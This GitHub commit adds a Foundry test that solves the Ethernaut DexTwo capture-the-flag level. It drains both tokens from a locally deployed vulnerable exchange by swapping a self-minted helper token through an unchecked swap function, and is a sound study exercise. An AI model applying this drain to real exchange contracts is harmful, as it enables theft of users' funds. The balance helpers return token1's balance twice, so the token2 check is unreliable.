-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
117 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity ^0.8.0; | ||
|
||
import '../../src/EthernautCTF/DexTwo.sol'; | ||
import '@openzeppelin-08/token/ERC20/ERC20.sol'; | ||
import '@openzeppelin-08/utils/math/Math.sol'; | ||
import '@forge-std/Test.sol'; | ||
import '@forge-std/console2.sol'; | ||
|
||
contract HelperToken is ERC20 { | ||
constructor(uint256 _value) ERC20('TOKEN3', 'T3') { | ||
_mint(msg.sender, _value); | ||
} | ||
} | ||
|
||
contract DexTwoEploit is Test { | ||
DexTwo target; | ||
address deployer = makeAddr('deployer'); | ||
address exploiter = makeAddr('exploiter'); | ||
SwappableTokenTwo token1; | ||
SwappableTokenTwo token2; | ||
|
||
function setUp() public { | ||
vm.startPrank(deployer); | ||
target = new DexTwo(); | ||
console2.log('Dex contract deployed'); | ||
|
||
token1 = new SwappableTokenTwo(address(target), 'TOKEN1', 'T1', 10_000); | ||
token2 = new SwappableTokenTwo(address(target), 'TOKEN2', 'T2', 10_000); | ||
target.setTokens(address(token1), address(token2)); | ||
console2.log('Tokens deployed and set in the Dex'); | ||
|
||
target.approve(address(target), 100); | ||
target.addLiquidity(address(token1), 100); | ||
target.addLiquidity(address(token2), 100); | ||
console2.log('Liquidity added to the Dex contract'); | ||
|
||
token1.transfer(address(exploiter), 10); | ||
token2.transfer(address(exploiter), 10); | ||
console2.log('Tokens sent to the exploiter'); | ||
vm.stopPrank(); | ||
} | ||
|
||
function testExploit() public { | ||
// Balance check. | ||
(uint256 dexToken1Balance, uint256 dexToken2Balance) = getDexBalances(); | ||
assertEq(dexToken1Balance, 100); | ||
assertEq(dexToken2Balance, 100); | ||
|
||
// Perform the exploit. | ||
// The goal is to drain the two tokens of the Dex contract. | ||
// The method `swap` has been slightly changed compared to the previous version. | ||
// It doesn't check which tokens are passed to the swap method. | ||
|
||
// Deploy our own ERC20 helper token. | ||
vm.startPrank(exploiter); | ||
ERC20 helperToken = new HelperToken(200); | ||
helperToken.approve(address(target), 10); | ||
console2.log('Helper token deployed'); | ||
|
||
helperToken.transfer(address(target), 1); | ||
// swapAmount = 1 * 100 / 1 = 100 with amount = 1 | ||
target.swap(address(helperToken), address(token1), 1); | ||
console2.log(''); // break line | ||
console2.log('Token1 drained'); | ||
getDexBalances(); | ||
getExploiterBalances(); | ||
|
||
// swapAmount = 2 * 100 / 2 = 100 with amount = 2 | ||
target.swap(address(helperToken), address(token2), 2); | ||
console2.log(''); // break line | ||
console2.log('Token2 drained'); | ||
getDexBalances(); | ||
getExploiterBalances(); | ||
|
||
// Check that the exploit worked. | ||
console2.log(''); // break line | ||
(dexToken1Balance, dexToken2Balance) = getDexBalances(); | ||
assertEq(dexToken1Balance, 0); | ||
assertEq(dexToken2Balance, 0); | ||
console2.log('The two tokens were drained in the Dex contract'); | ||
getExploiterBalances(); | ||
|
||
vm.stopPrank(); | ||
} | ||
|
||
function getDexBalances() public view returns (uint256, uint256) { | ||
(uint256 token1Balance, uint256 token2Balance) = getBalances( | ||
address(target) | ||
); | ||
console2.log( | ||
'Checking Dex balances: TOKEN1=%d TOKEN2=%d', | ||
token1Balance, | ||
token2Balance | ||
); | ||
return (token1Balance, token1Balance); | ||
} | ||
|
||
function getExploiterBalances() public view returns (uint256, uint256) { | ||
(uint256 token1Balance, uint256 token2Balance) = getBalances(exploiter); | ||
console2.log( | ||
'Checking exploiter balances: TOKEN1=%d TOKEN2=%d', | ||
token1Balance, | ||
token2Balance | ||
); | ||
return (token1Balance, token1Balance); | ||
} | ||
|
||
function getBalances( | ||
address _address | ||
) public view returns (uint256, uint256) { | ||
uint256 token1Balance = token1.balanceOf(_address); | ||
uint256 token2Balance = token2.balanceOf(_address); | ||
return (token1Balance, token2Balance); | ||
} | ||
} |